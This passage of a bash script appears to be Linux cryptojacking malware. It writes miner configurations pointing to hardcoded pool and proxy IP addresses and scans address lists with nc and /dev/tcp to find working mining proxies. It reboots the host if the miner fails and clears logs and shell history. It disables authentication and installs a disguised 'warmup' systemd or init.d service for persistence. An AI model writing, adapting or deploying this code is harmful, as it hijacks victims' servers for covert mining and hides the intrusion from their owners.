        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 75,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 0,
    "log-file": null,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "$MINEIP:80",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
		{
            "algo": null,
            "coin": null,
            "url": "5.133.65.53:$MINEPORT",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
		,
		{
            "algo": null,
            "coin": null,
            "url": "5.133.65.54:$MINEPORT",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
		,
		{
            "algo": null,
            "coin": null,
            "url": "5.133.65.55:$MINEPORT",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
		,
		{
            "algo": null,
            "coin": null,
            "url": "5.133.65.56:$MINEPORT",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 3,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}
EOF
			cd /root/.warmup
			chmod 755 $warmupfile
			if [[ $? -eq 0 ]]; then
				./$warmupfile >/dev/null 2>&1 &
				sleep 10
				ps cax | grep $warmupfile
				if [ $? -ne 0 ]; then
					if [ ! -f /root/.warmup/reboot ]; then
						: >/root/.warmup/reboot
						InfoR "Reboot needed. Rebooting..."
						reboot
						if [[ $? -ne 0 ]]; then
							chmod 755 /sbin/shutdown
							shutdown -r now
						fi
					else
						clearLogs
						clearHistory
						disableAuth
						disableHistory
						InfoR "Not starting after reboot.Exit script..."
						exit 0
					fi
				else
					InfoG "No reboot needed"
					if [ -f /root/.warmup/reboot ]; then
						rm -fr /root/.warmup/reboot
					fi
					pkill -9 $warmupfile >/dev/null 2>&1
					pkill -9 xmrigMiner
					sleep 5
				fi
			fi
			#Proxy checker
			if [[ $USER -ne 1 ]]; then
				SPOOLS="45.67.229.147:14444
				45.67.229.147:80
				45.67.229.147:443
				45.142.212.30:443
				45.142.212.30:14444
				185.74.222.72:14444
				185.74.222.72:80
				185.74.222.72:443
				77.247.243.43:14444"
				SPECIALPOOL=""
				SPECIALPOOLS=""
				for server in $SPOOLS; do
					SPECIALPOOL=$server
					SPECIALPOOL='{
            "algo": null,
            "coin": null,
            "url": "'$SPECIALPOOL'",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },'
					SPECIALPOOLS+=$'\n'$SPECIALPOOL
				done
			else
				SPOOLS="45.140.146.252:24444
				45.140.146.252:80
				45.140.146.252:443"
				SPECIALPOOL=""
				SPECIALPOOLS=""
				for server in $SPOOLS; do
					SPECIALPOOL=$server
					SPECIALPOOL='{
            "algo": null,
            "coin": null,
            "url": "'$SPECIALPOOL'",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },'
					SPECIALPOOLS+=$'\n'$SPECIALPOOL
				done
			fi
			CHECK=0
			POOL=""
			POOLS=""
			if [ -f /root/.warmup/ip.txt ]; then
				port=703
				threads=20
				IPS=''
				echo '' >/root/.warmup/found703.lst
				echo '' >/root/.warmup/targets703
				echo '' >/root/.warmup/logfile703
				IPS=$(cat /root/.warmup/ip.txt)
				server=''
				for server in $IPS; do
					server=${server//[[:space:]]/}
					echo $port $server >>/root/.warmup/targets703
				done
				InfoP "Scanning port 703..."
				if [ -x $(which nc) ] && nc -h 2>&1 | grep -q -- '-z'; then
					xargs -a /root/.warmup/targets703 -n 2 -P $threads sh -c 'timeout 30 nc $1 '$port' -z -w 2; echo $? $1 >> /root/.warmup/logfile703'
				elif [ -n "$(which nc)" ]; then
					xargs -a /root/.warmup/targets703 -n 2 -P $threads sh -c 'cat /dev/null |timeout 30 nc $1 '$port' -w 2 >/dev/null 2>&1; echo $? $1 >> /root/.warmup/logfile703'
				else
					xargs -a /root/.warmup/targets703 -n 2 -P $threads bash -c 'timeout 3 bash -c "</dev/tcp/$1/'$port' &>/dev/null"; echo $? $1 >> /root/.warmup/logfile703'
				fi

				grep "^0" /root/.warmup/logfile703 | cut -d " " -f2 >/root/.warmup/found703.lst
				cd /root/.warmup
				chmod 755 $warmupfile
				if [ -f /root/.warmup/found703.lst ]; then
					FOUND=$(cat /root/.warmup/found703.lst)
					for server in $FOUND; do
						server=${server//[[:space:]]/}
						if [ "$CHECK" -ge 5 ]; then
							echo "Pools list full"
							break
						fi
						InfoP "Checking $server 703..."
						cat <<EOF >/root/.warmup/config.json
{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": true,
        "host": "0.0.0.0",
        "port": 999,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 75,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 0,
    "log-file": null,
    "pools": [
        		{
            "algo": null,
            "coin": null,
            "url": "$server:703",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 3,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}
EOF
						cd /root/.warmup
						./$warmupfile >/dev/null 2>&1 &
						sleep 10
						if [ -n "$(which wget)" ]; then
							test=$(wget -qO- 127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
						elif [ -n "$(which curl)" ]; then
							test=$(curl -X GET http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
						else
							test=$(__curl http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
						fi
						if [[ "$test" -eq 480045 ]]; then
							InfoG "Add $server in pools list"
							POOL='{
					"algo": null,
					"coin": null,
					"url": "'$server':703",
					"user": "LINUXSERVER",
					"pass": "x",
					"rig-id": null,
					"nicehash": true,
					"keepalive": false,
					"enabled": true,
					"tls": true,
					"tls-fingerprint": null,
					"daemon": false,
					"socks5": null,
					"self-select": null,
					"submit-to-origin": false
					},'
							POOLS+=$'\n'$POOL
							CHECK=$(($CHECK + 1))
						else
							InfoR "$server Not Work"
						fi
						pkill -9 $warmupfile >/dev/null 2>&1
						pkill -9 xmrigMiner
						sleep 5
					done
				fi
			fi
			function empty {
				local var="$1"

				# Return true if:
				# 1.    var is a null string ("" as empty string)
				# 2.    a non set variable is passed
				# 3.    a declared variable or array but without a value is passed
				# 4.    an empty array is passed
				if test -z "$var"; then
					[[ $(echo "1") ]]
					return

				# Return true if var is zero (0 as an integer or "0" as a string)
				elif [ "$var" == 0 ] 2>/dev/null; then
					[[ $(echo "1") ]]
					return

				# Return true if var is 0.0 (0 as a float)
				elif [ "$var" == 0.0 ] 2>/dev/null; then
					[[ $(echo "1") ]]
					return
				fi

				[[ $(echo "") ]]
			}

			if empty "${POOLS}"; then
				EMPTYPOOLS=true
				InfoR "No working proxy found, checking port 708..."
			else
				InfoG "Found $CHECK Proxys"
				EMPTYPOOLS=false
			fi
			if [ "$EMPTYPOOLS" == true -o "$CHECK" -lt 5 ]; then
				InfoP "The number of proxies is less than 5(Found $CHECK proxies), checking port 708..."
				if [ -f /root/.warmup/ip.txt ]; then
					port=708
					threads=20
					IPS=''
					echo '' >/root/.warmup/found708.lst
					echo '' >/root/.warmup/targets708
					echo '' >/root/.warmup/logfile708
					IPS=$(cat /root/.warmup/ip.txt)
					server=''
					for server in $IPS; do
						server=${server//[[:space:]]/}
						echo $port $server >>/root/.warmup/targets708
					done
					InfoP "Scanning port 708..."
					if [ -x $(which nc) ] && nc -h 2>&1 | grep -q -- '-z'; then
						xargs -a /root/.warmup/targets708 -n 2 -P $threads sh -c 'timeout 30 nc $1 '$port' -z -w 2; echo $? $1 >> /root/.warmup/logfile708'
					elif [ -n "$(which nc)" ]; then
						xargs -a /root/.warmup/targets708 -n 2 -P $threads sh -c 'cat /dev/null |timeout 30 nc $1 '$port' -w 2 >/dev/null 2>&1; echo $? $1 >> /root/.warmup/logfile708'
					else
						xargs -a /root/.warmup/targets708 -n 2 -P $threads bash -c 'timeout 3 bash -c "</dev/tcp/$1/'$port' &>/dev/null"; echo $? $1 >> /root/.warmup/logfile708'
					fi

					grep "^0" /root/.warmup/logfile708 | cut -d " " -f2 >/root/.warmup/found708.lst
					if [ -f /root/.warmup/found708.lst ]; then
						FOUND=$(cat /root/.warmup/found708.lst)
						for server in $FOUND; do
							server=${server//[[:space:]]/}
							if [ "$CHECK" -ge 5 ]; then
								echo "Pools list full"
								break
							fi
							InfoP "Checking $server 708..."
							cat <<EOF >/root/.warmup/config.json
{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": true,
        "host": "0.0.0.0",
        "port": 999,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 75,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 0,
    "log-file": null,
    "pools": [
        		{
            "algo": null,
            "coin": null,
            "url": "$server:708",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 3,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}
EOF
							cd /root/.warmup
							./$warmupfile >/dev/null 2>&1 &
							sleep 10
							if [ -n "$(which wget)" ]; then
								test=$(wget -qO- 127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
							elif [ -n "$(which curl)" ]; then
								test=$(curl -X GET http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
							else
								test=$(__curl http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
							fi
							if [[ "$test" -eq 480045 ]]; then
								InfoG "Add $server in pools list"
								POOL='{
					"algo": null,
					"coin": null,
					"url": "'$server':708",
					"user": "LINUXSERVER",
					"pass": "x",
					"rig-id": null,
					"nicehash": true,
					"keepalive": false,
					"enabled": true,
					"tls": true,
					"tls-fingerprint": null,
					"daemon": false,
					"socks5": null,
					"self-select": null,
					"submit-to-origin": false
					},'
								POOLS+=$'\n'$POOL
								CHECK=$(($CHECK + 1))
							else
								InfoR "$server Not Work"
							fi
							pkill -9 $warmupfile >/dev/null 2>&1
							pkill -9 xmrigMiner
							sleep 5
						done
					fi
				fi
			fi

			if empty "${POOLS}"; then
				EMPTYPOOLS=true
				InfoR "No working proxy 708 found, checking port 8080..."
			else
				InfoG "Found $CHECK Proxys"
				EMPTYPOOLS=false
			fi
			if [ "$EMPTYPOOLS" == true -o "$CHECK" -lt 5 ]; then
				InfoP "The number of proxies is less than 5(Found $CHECK proxies), checking port 8080..."
				if [ -f /root/.warmup/ip.txt ]; then
					port=8080
					threads=20
					IPS=''
					echo '' >/root/.warmup/found8080.lst
					echo '' >/root/.warmup/targets8080
					echo '' >/root/.warmup/logfile8080
					IPS=$(cat /root/.warmup/ip.txt)
					server=''
					for server in $IPS; do
						server=${server//[[:space:]]/}
						echo $port $server >>/root/.warmup/targets8080
					done
					InfoP "Scanning port 8080..."
					if [ -x $(which nc) ] && nc -h 2>&1 | grep -q -- '-z'; then
						xargs -a /root/.warmup/targets8080 -n 2 -P $threads sh -c 'timeout 30 nc $1 '$port' -z -w 2; echo $? $1 >> /root/.warmup/logfile8080'
					elif [ -n "$(which nc)" ]; then
						xargs -a /root/.warmup/targets8080 -n 2 -P $threads sh -c 'cat /dev/null |timeout 30 nc $1 '$port' -w 2 >/dev/null 2>&1; echo $? $1 >> /root/.warmup/logfile8080'
					else
						xargs -a /root/.warmup/targets8080 -n 2 -P $threads bash -c 'timeout 3 bash -c "</dev/tcp/$1/'$port' &>/dev/null"; echo $? $1 >> /root/.warmup/logfile8080'
					fi

					grep "^0" /root/.warmup/logfile8080 | cut -d " " -f2 >/root/.warmup/found8080.lst
					if [ -f /root/.warmup/found8080.lst ]; then
						FOUND=$(cat /root/.warmup/found8080.lst)
						for server in $FOUND; do
							server=${server//[[:space:]]/}
							if [ "$CHECK" -ge 5 ]; then
								echo "Pools list full"
								break
							fi
							InfoP "Checking $server 8080..."
							cat <<EOF >/root/.warmup/config.json
{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": true,
        "host": "0.0.0.0",
        "port": 999,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 75,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 0,
    "log-file": null,
    "pools": [
        		{
            "algo": null,
            "coin": null,
            "url": "$server:8080",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 3,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}
EOF
							cd /root/.warmup
							./$warmupfile >/dev/null 2>&1 &
							sleep 10
							if [ -n "$(which wget)" ]; then
								test=$(wget -qO- 127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
							elif [ -n "$(which curl)" ]; then
								test=$(curl -X GET http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
							else
								test=$(__curl http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
							fi
							if [[ "$test" -eq 480045 ]]; then
								InfoG "Add $server in pools list"
								POOL='{
					"algo": null,
					"coin": null,
					"url": "'$server':8080",
					"user": "LINUXSERVER",
					"pass": "x",
					"rig-id": null,
					"nicehash": true,
					"keepalive": false,
					"enabled": true,
					"tls": true,
					"tls-fingerprint": null,
					"daemon": false,
					"socks5": null,
					"self-select": null,
					"submit-to-origin": false
					},'
								POOLS+=$'\n'$POOL
								CHECK=$(($CHECK + 1))
							else
								InfoR "$server Not Work"
							fi
							pkill -9 $warmupfile >/dev/null 2>&1
							pkill -9 xmrigMiner
							sleep 5
						done
					fi
				fi
			fi

			if empty "${POOLS}"; then
				EMPTYPOOLS=true
				InfoR "No working proxy 8080 found, checking port 443..."
			else
				InfoG "Found $CHECK Proxys"
				EMPTYPOOLS=false
			fi

			if [ "$EMPTYPOOLS" == true -o "$CHECK" -lt 5 ]; then
				InfoP "The number of proxies is less than 5(Found $CHECK proxies), checking port 443..."
				if [ -f /root/.warmup/ip.txt ]; then
					port=443
					threads=20
					IPS=''
					echo '' >/root/.warmup/found443.lst
					echo '' >/root/.warmup/targets443
					echo '' >/root/.warmup/logfile443
					IPS=$(cat /root/.warmup/ip.txt)
					server=''
					for server in $IPS; do
						server=${server//[[:space:]]/}
						echo $port $server >>/root/.warmup/targets443
					done
					InfoP "Scanning port 443..."
					if [ -x $(which nc) ] && nc -h 2>&1 | grep -q -- '-z'; then
						xargs -a /root/.warmup/targets443 -n 2 -P $threads sh -c 'timeout 30 nc $1 '$port' -z -w 2; echo $? $1 >> /root/.warmup/logfile443'
					elif [ -n "$(which nc)" ]; then
						xargs -a /root/.warmup/targets443 -n 2 -P $threads sh -c 'cat /dev/null |timeout 30 nc $1 '$port' -w 2 >/dev/null 2>&1; echo $? $1 >> /root/.warmup/logfile443'
					else
						xargs -a /root/.warmup/targets443 -n 2 -P $threads bash -c 'timeout 3 bash -c "</dev/tcp/$1/'$port' &>/dev/null"; echo $? $1 >> /root/.warmup/logfile443'
					fi

					grep "^0" /root/.warmup/logfile443 | cut -d " " -f2 >/root/.warmup/found443.lst
					if [ -f /root/.warmup/found443.lst ]; then
						FOUND=$(cat /root/.warmup/found443.lst)
						for server in $FOUND; do
							server=${server//[[:space:]]/}
							if [ "$CHECK" -ge 5 ]; then
								echo "Pools list full"
								break
							fi
							InfoP "Checking $server 443..."
							cat <<EOF >/root/.warmup/config.json
{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": true,
        "host": "0.0.0.0",
        "port": 999,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 75,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 0,
    "log-file": null,
    "pools": [
        		{
            "algo": null,
            "coin": null,
            "url": "$server:443",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 3,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}
EOF
							cd /root/.warmup
							./$warmupfile >/dev/null 2>&1 &
							sleep 10
							if [ -n "$(which wget)" ]; then
								test=$(wget -qO- 127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
							elif [ -n "$(which curl)" ]; then
								test=$(curl -X GET http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
							else
								test=$(__curl http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
							fi
							if [[ "$test" -eq 480045 ]]; then
								InfoG "Add $server in pools list"
								POOL='{
					"algo": null,
					"coin": null,
					"url": "'$server':443",
					"user": "LINUXSERVER",
					"pass": "x",
					"rig-id": null,
					"nicehash": true,
					"keepalive": false,
					"enabled": true,
					"tls": true,
					"tls-fingerprint": null,
					"daemon": false,
					"socks5": null,
					"self-select": null,
					"submit-to-origin": false
					},'
								POOLS+=$'\n'$POOL
								CHECK=$(($CHECK + 1))
							else
								InfoR "$server Not Work"
							fi
							pkill -9 $warmupfile >/dev/null 2>&1
							pkill -9 xmrigMiner
							sleep 5
						done
					fi
				fi
			fi

			cat <<EOF >/root/.warmup/config.json
{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": true,
        "host": "0.0.0.0",
        "port": 999,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": $BackActive,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 75,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 0,
    "log-file": null,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "$MINEIP:80",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
$POOLS
		{
            "algo": null,
            "coin": null,
            "url": "5.133.65.53:$MINEPORT",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
		,
		{
            "algo": null,
            "coin": null,
            "url": "5.133.65.54:$MINEPORT",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
		,
		{
            "algo": null,
            "coin": null,
            "url": "5.133.65.55:$MINEPORT",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
		,
		$SPECIALPOOLS
		{
            "algo": null,
            "coin": null,
            "url": "5.133.65.56:$MINEPORT",
            "user": "LINUXSERVER",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 3,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}
EOF

			cd /root/.warmup
			get_abs_filename() {
				# $1 : relative filename
				if [ -d "$(dirname "$1")" ]; then
					echo "$(cd "$(dirname "$1")" && pwd)$(basename "$1")"
				fi
			}

			RP=/root/.warmup
			if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
				if [ -f /etc/systemd/system/warmup.service ]; then
					chattr -i /etc/systemd/system/warmup.service
				fi
				cat <<EOF >/etc/systemd/system/warmup.service
[Unit]
Description=Warmup web application server

[Service]
Type=simple
ExecStart=/bin/bash -c '$RP/$warmupfile'
WorkingDirectory=$RP
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF
				chmod 755 /etc/systemd/system/warmup.service
				systemctl daemon-reload
				systemctl enable warmup.service
				systemctl stop warmup.service
				systemctl start warmup.service
			elif [ "$isDebian" == true ]; then
				if [ -f /etc/init.d/warmup ]; then
					chattr -i /etc/init.d/warmup
				fi
				cat <<EOF >/etc/init.d/warmup
#! /bin/sh
### BEGIN INIT INFO
# Provides:          skeleton
# Required-Start:    \$remote_fs \$syslog
# Required-Stop:     \$remote_fs \$syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Example initscript
# Description:       This file should be used to construct scripts to be
#                    placed in /etc/init.d.
### END INIT INFO

# Author: Foo Bar <foobar@baz.org>
#
# Please remove the "Author" lines above and replace them
# with your own name if you copy and modify this script.

# Do NOT "set -e"

# PATH should only include /usr/* if it runs after the mountnfs.sh script
PATH="/sbin:/usr/sbin:/bin:/usr/bin"
DESC="Description of the service"
NAME="$warmupfile"
DAEMON="$RP/\$NAME"
DAEMON_ARGS=""
PIDFILE="/var/run/\$NAME.pid"
SCRIPTNAME="/etc/init.d/warmup"

# Exit if the package is not installed
